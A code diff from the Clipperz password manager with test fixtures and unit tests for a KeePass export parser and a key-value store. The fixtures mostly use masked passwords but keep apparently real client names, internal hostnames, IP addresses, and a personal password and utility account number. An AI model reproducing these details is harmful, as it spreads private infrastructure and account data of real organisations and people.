"[Sharepoint Services Database]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Anti-Virus (Trend)]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: http://ensql1.enquiro.net/officescan/console/cgi/cgiChkMasterPwd.exe" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Anti-Virus Uninstall]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Anti-Virus Unload]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENEXC1 Security Certificate]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Required for using Outlook over HTTP" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Eye Tracking Study PDF]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: PDF Password" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Google Account - Research Department]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used to track web history for personalization" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Google Account - Research Department]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used to track web history for personalization" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Goldmine Administrator]" + "\n" +
|
||||
"Group: Miscellaneous" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Adding users to Goldmine" + "\n" +
|
||||
"" + "\n" +
|
||||
"[AIG Insurance]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Allstate Insurance Company]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Babyzone]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Babyzone Google Sitemaps Login" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Habeas]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Hanley Wood]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Kaboose Inc.]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Lesley University]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Plastic Products Mfg]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Project Server Extranet User]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Rent Chalets]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Siemens Communications]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Sterling Commerce]" + "\n" +
|
||||
"Group: Clients" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro]" + "\n" +
|
||||
"Group: FTP" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[clientlogs.enquiro.net]" + "\n" +
|
||||
"Group: FTP" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 199.60.252.152" + "\n" +
|
||||
"" + "\n" +
|
||||
"[HrHero]" + "\n" +
|
||||
"Group: FTP" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 199.60.252.152" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Kaboose]" + "\n" +
|
||||
"Group: FTP" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 199.60.252.152" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Royal Roads University]" + "\n" +
|
||||
"Group: FTP" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 199.60.252.152" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ftp.enquiro.com]" + "\n" +
|
||||
"Group: FTP" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: TYRANUS (199.60.252.157)" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Gene6 FTP Admistrator]" + "\n" +
|
||||
"Group: FTP" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: ensql2" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used to create FTP folders for client use" + "\n" +
|
||||
"" + "\n";
|
||||
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// This data is probably in the KeePassX export format that is not supported right now
|
||||
//
|
||||
testData['Jordan_Curzon_data'] = "" +
|
||||
"*** Group: Financial ***" + "\n" +
|
||||
"" + "\n" +
|
||||
" Title: Allstate" + "\n" +
|
||||
" Username: jones" + "\n" +
|
||||
" Url: allstate.com" + "\n" +
|
||||
" Password: bobfred" + "\n" +
|
||||
" Comment:" + "\n" +
|
||||
"" + "\n" +
|
||||
" Title: NW Natural" + "\n" +
|
||||
" Username: jones@gmail.com" + "\n" +
|
||||
" Url: nwnatural.com" + "\n" +
|
||||
" Password: bobfred" + "\n" +
|
||||
" Comment: Account number: 097oe9u0098098" + "\n" +
|
||||
"" + "\n";
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.KeePassExportProcessor - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/KeePassExportProcessor.js'></script>
|
||||
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
<!-- script type="text/javascript" src="./KeePassExportProcessor.data.js"></script>
|
||||
<script type="text/javascript" src="./KeePassExportProcessor.test.js"></script -->
|
||||
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="./KeePassExportProcessor.data.js"></script>
|
||||
<script type="text/javascript" src="./KeePassExportProcessor.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,141 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'test1_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var keePassProcessor;
|
||||
|
||||
keePassProcessor = new Clipperz.KeePassExportProcessor();
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("test1_test", someTestArgs);
|
||||
deferredResult.addCallback(function(aResult) { return "[Gmail]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.gmail.com\nPassword: NHy08ZCMYsqUeLQCawR7\n\n[del.icio.us]\nGroup: General\nUserName: joe69\nURL: http://del.icio.us\nPassword: tS1cIEeqp5y0wkU\n\n[Amazon]\nGroup: General\nUserName: jclipperz\nURL: http://www.amazon.com\nPassword: wvpkqNPIsqlI5g6XE9Tz\n\n[Paypal]\nGroup: General\nUserName: joeclipperz\nURL: http://www.paypal.com\nPassword: 24T4wIcvHnM28T3L\n\n[Technorati]\nGroup: General\nUserName: jclipperz\nURL: http://www.technorati.com\nPassword: UcVeNqF\n\n[American Airlines]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.aa.com\nPassword: AtrYbmi7lmSjR\n" });
|
||||
deferredResult.addMethod(keePassProcessor, 'deferredParse');
|
||||
deferredResult.addCallback(function(aResult) { is(MochiKit.Base.serializeJSON(aResult), "[{\"Title\":\"Gmail\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.gmail.com\", \"Password\":\"NHy08ZCMYsqUeLQCawR7\"}, {\"Title\":\"del.icio.us\", \"Group\":\"General\", \"UserName\":\"joe69\", \"URL\":\"http://del.icio.us\", \"Password\":\"tS1cIEeqp5y0wkU\"}, {\"Title\":\"Amazon\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.amazon.com\", \"Password\":\"wvpkqNPIsqlI5g6XE9Tz\"}, {\"Title\":\"Paypal\", \"Group\":\"General\", \"UserName\":\"joeclipperz\", \"URL\":\"http://www.paypal.com\", \"Password\":\"24T4wIcvHnM28T3L\"}, {\"Title\":\"Technorati\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.technorati.com\", \"Password\":\"UcVeNqF\"}, {\"Title\":\"American Airlines\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.aa.com\", \"Password\":\"AtrYbmi7lmSjR\"}]", "first test"); });
|
||||
deferredResult.addErrback(function(anError) { is("ERROR", anError) });
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
'test2_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var keePassProcessor;
|
||||
|
||||
keePassProcessor = new Clipperz.KeePassExportProcessor();
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("test2_test", someTestArgs);
|
||||
deferredResult.addCallback(function(aResult) { return "[Gmail]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.gmail.com\nPassword: NHy08ZCMYsqUeLQCawR7\nNotes: Personal account\n\n[del.icio.us]\nGroup: General\nUserName: joe69\nURL: http://del.icio.us\nPassword: tS1cIEeqp5y0wkU\nNotes: social bookmarking site\n\n[Amazon]\nGroup: General\nUserName: jclipperz\nURL: http://www.amazon.com\nPassword: wvpkqNPIsqlI5g6XE9Tz\nNotes: The US online store\n\n[Paypal]\nGroup: General\nUserName: joeclipperz\nURL: http://www.paypal.com\nPassword: 24T4wIcvHnM28T3L\nNotes: Linked to my savings account\n\n[Technorati]\nGroup: General\nUserName: jclipperz\nURL: http://www.technorati.com\nPassword: UcVeNqF\nNotes: Blog ranking and searching\n\n[American Airlines]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.aa.com\nPassword: AtrYbmi7lmSjR\nNotes: Adavantages card n. 795495\n" });
|
||||
deferredResult.addMethod(keePassProcessor, 'deferredParse');
|
||||
deferredResult.addCallback(function(aResult) { is(MochiKit.Base.serializeJSON(aResult), "[{\"Title\":\"Gmail\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.gmail.com\", \"Password\":\"NHy08ZCMYsqUeLQCawR7\", \"Notes\":\"Personal account\"}, {\"Title\":\"del.icio.us\", \"Group\":\"General\", \"UserName\":\"joe69\", \"URL\":\"http://del.icio.us\", \"Password\":\"tS1cIEeqp5y0wkU\", \"Notes\":\"social bookmarking site\"}, {\"Title\":\"Amazon\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.amazon.com\", \"Password\":\"wvpkqNPIsqlI5g6XE9Tz\", \"Notes\":\"The US online store\"}, {\"Title\":\"Paypal\", \"Group\":\"General\", \"UserName\":\"joeclipperz\", \"URL\":\"http://www.paypal.com\", \"Password\":\"24T4wIcvHnM28T3L\", \"Notes\":\"Linked to my savings account\"}, {\"Title\":\"Technorati\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.technorati.com\", \"Password\":\"UcVeNqF\", \"Notes\":\"Blog ranking and searching\"}, {\"Title\":\"American Airlines\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.aa.com\", \"Password\":\"AtrYbmi7lmSjR\", \"Notes\":\"Adavantages card n. 795495\"}]", "second test"); });
|
||||
deferredResult.addErrback(function(anError) { is("ERROR", anError) });
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
'test3_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var keePassProcessor;
|
||||
|
||||
keePassProcessor = new Clipperz.KeePassExportProcessor();
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("test3_test", someTestArgs);
|
||||
deferredResult.addCallback(function(aResult) { return "[Gmail]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.gmail.com\nPassword: NHy08ZCMYsqUeLQCawR7\nNotes: Personal account\nwith some notes stored\non multiple lines\n\n[del.icio.us]\nGroup: General\nUserName: joe69\nURL: http://del.icio.us\nPassword: tS1cIEeqp5y0wkU\nNotes: social bookmarking site\n\n[Amazon]\nGroup: General\nUserName: jclipperz\nURL: http://www.amazon.com\nPassword: wvpkqNPIsqlI5g6XE9Tz\nNotes: The US online store\n\n[Paypal]\nGroup: General\nUserName: joeclipperz\nURL: http://www.paypal.com\nPassword: 24T4wIcvHnM28T3L\nNotes: Linked to my savings account\n\n[Technorati]\nGroup: General\nUserName: jclipperz\nURL: http://www.technorati.com\nPassword: UcVeNqF\nNotes: Blog ranking and searching\n\n[American Airlines]\nGroup: General\nUserName: joe.clipperz\nURL: http://www.aa.com\nPassword: AtrYbmi7lmSjR\nNotes: Adavantages card n. 795495\n" });
|
||||
deferredResult.addMethod(keePassProcessor, 'deferredParse');
|
||||
deferredResult.addCallback(function(aResult) { is(MochiKit.Base.serializeJSON(aResult), "[{\"Title\":\"Gmail\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.gmail.com\", \"Password\":\"NHy08ZCMYsqUeLQCawR7\", \"Notes\":\"Personal account\\nwith some notes stored\\non multiple lines\\n\"}, {\"Title\":\"del.icio.us\", \"Group\":\"General\", \"UserName\":\"joe69\", \"URL\":\"http://del.icio.us\", \"Password\":\"tS1cIEeqp5y0wkU\", \"Notes\":\"social bookmarking site\"}, {\"Title\":\"Amazon\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.amazon.com\", \"Password\":\"wvpkqNPIsqlI5g6XE9Tz\", \"Notes\":\"The US online store\"}, {\"Title\":\"Paypal\", \"Group\":\"General\", \"UserName\":\"joeclipperz\", \"URL\":\"http://www.paypal.com\", \"Password\":\"24T4wIcvHnM28T3L\", \"Notes\":\"Linked to my savings account\"}, {\"Title\":\"Technorati\", \"Group\":\"General\", \"UserName\":\"jclipperz\", \"URL\":\"http://www.technorati.com\", \"Password\":\"UcVeNqF\", \"Notes\":\"Blog ranking and searching\"}, {\"Title\":\"American Airlines\", \"Group\":\"General\", \"UserName\":\"joe.clipperz\", \"URL\":\"http://www.aa.com\", \"Password\":\"AtrYbmi7lmSjR\", \"Notes\":\"Adavantages card n. 795495\"}]", "third test"); });
|
||||
deferredResult.addErrback(function(anError) { is("ERROR", anError) });
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'Barb_Newman_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var keePassProcessor;
|
||||
|
||||
keePassProcessor = new Clipperz.KeePassExportProcessor();
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("Barb_Newman_test", someTestArgs);
|
||||
// deferredResult.addCallback(function () { return testData['Barb_Newman_data']; });
|
||||
deferredResult.addMethod(keePassProcessor, 'deferredParse');
|
||||
deferredResult.addBoth(function(aResult) {
|
||||
SimpleTest.is(aResult.length, 121, "Barb's data contains 121 records");
|
||||
return aResult;
|
||||
});
|
||||
deferredResult.addBoth(function(aResult) {
|
||||
SimpleTest.is(MochiKit.Base.serializeJSON(aResult[0]), "{\"Title\":\"Domain Administration Account\", \"Group\":\"Windows\", \"User Name\":\"_ABC\", \"URL\":\"\", \"Password\":\"123456\", \"Notes\":\"\"}", "Barb's first record data matches");
|
||||
return aResult;
|
||||
});
|
||||
// deferredResult.callback();
|
||||
deferredResult.callback(testData['Barb_Newman_data']);
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
/*
|
||||
'Jordan_Curzon_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var keePassProcessor;
|
||||
|
||||
keePassProcessor = new Clipperz.KeePassExportProcessor();
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("Jordan_Curzon_test", someTestArgs);
|
||||
deferredResult.addCallback(function () { return testData['Jordan_Curzon_data']; });
|
||||
deferredResult.addMethod(keePassProcessor, 'deferredParse');
|
||||
deferredResult.addBoth(function(aResult) {
|
||||
SimpleTest.is(aResult.length, 2, "Jordarn's data contains 2 records");
|
||||
return aResult;
|
||||
});
|
||||
deferredResult.addBoth(function(aResult) {
|
||||
SimpleTest.is(MochiKit.Base.serializeJSON(aResult[0]), "{\"Title\":\"Allstate\", \"Username\":\"jones\", \"Url\":\"allstate.com\", \"Password\":\"bobfred\", \"Comment\":\"\"}", "Barb's first record data matches");
|
||||
return aResult;
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
*/
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.KeyPassExportProcessor", tests, {trace:false});
|
||||
52
frontend/gamma/tests/tests/Clipperz/KeyValueObjectStore.html
Normal file
@@ -0,0 +1,52 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Async.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="KeyValueObjectStore.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
255
frontend/gamma/tests/tests/Clipperz/KeyValueObjectStore.test.js
Normal file
@@ -0,0 +1,255 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simple_tests': function() {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_tests", {trace:false});
|
||||
deferredResult.addCallback(function() {
|
||||
var objectStore;
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
|
||||
ok(objectStore != null, "created an object store");
|
||||
|
||||
objectStore.setValue('key', "value");
|
||||
is(objectStore.getValue('key'), "value", "can store and read a value to a simple key");
|
||||
|
||||
objectStore.setValue('key', "overwritten value");
|
||||
is(objectStore.getValue('key'), "overwritten value", "using the same key overwrites the previous value");
|
||||
|
||||
objectStore.setValue('record.keys', [1, 2, 3]);
|
||||
is(
|
||||
MochiKit.Base.compare(objectStore.getValue('record'), {'keys': [1,2,3]}),
|
||||
0,
|
||||
"getting a partial key returns the whole content associate with that key"
|
||||
);
|
||||
is(
|
||||
MochiKit.Base.compare(objectStore.getValue('record.keys'), [1,2,3]),
|
||||
0,
|
||||
"accessing data using a key.path return the matching content"
|
||||
);
|
||||
is(
|
||||
MochiKit.Base.compare(objectStore.getValue('record.keys.1'), 2),
|
||||
0,
|
||||
"accessing data using a key.path return the matching content, even inside an array"
|
||||
);
|
||||
|
||||
is(
|
||||
objectStore.setValue('key', "value"),
|
||||
"value",
|
||||
"setting a value return the value itself, as a convenience to chain deferred methods"
|
||||
);
|
||||
|
||||
is(
|
||||
objectStore.getValue('not_set_key'),
|
||||
null,
|
||||
"accessing a previously undefined key will return null"
|
||||
);
|
||||
is(
|
||||
objectStore.getValue('record.not_set_key'),
|
||||
null,
|
||||
"accessing a previously undefined key will return null, even if part of the path is defined"
|
||||
);
|
||||
is(
|
||||
objectStore.getValue('not_set_path.not_set_key'),
|
||||
null,
|
||||
"accessing a previously undefined key will return null, even if using a completely undefined path"
|
||||
);
|
||||
|
||||
objectStore.removeAllData();
|
||||
is(
|
||||
objectStore.getValue('key'),
|
||||
null,
|
||||
"getting a value after a 'removeAllData' return no value"
|
||||
);
|
||||
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'simple_deferredGetOrSet_test': function () {
|
||||
var deferredResult;
|
||||
var objectStore;
|
||||
var testValue;
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
testValue = "nifty test value";
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("simple_deferredGetOrSet_test", {trace:false});
|
||||
deferredResult.addMethod(objectStore, 'setValue', 'key', testValue);
|
||||
deferredResult.addMethod(objectStore, 'deferredGetOrSet', 'key', function() {return testValue});
|
||||
deferredResult.addCallback(function(aResult) {
|
||||
SimpleTest.is(aResult, testValue, "deferredGetOrSet works when accessing data already present on the object store");
|
||||
})
|
||||
deferredResult.callback();
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredGetOrSet_test': function () {
|
||||
var deferredResult;
|
||||
var objectStore;
|
||||
var testValue;
|
||||
|
||||
objectStore = new Clipperz.KeyValueObjectStore();
|
||||
testValue = "nifty test value";
|
||||
|
||||
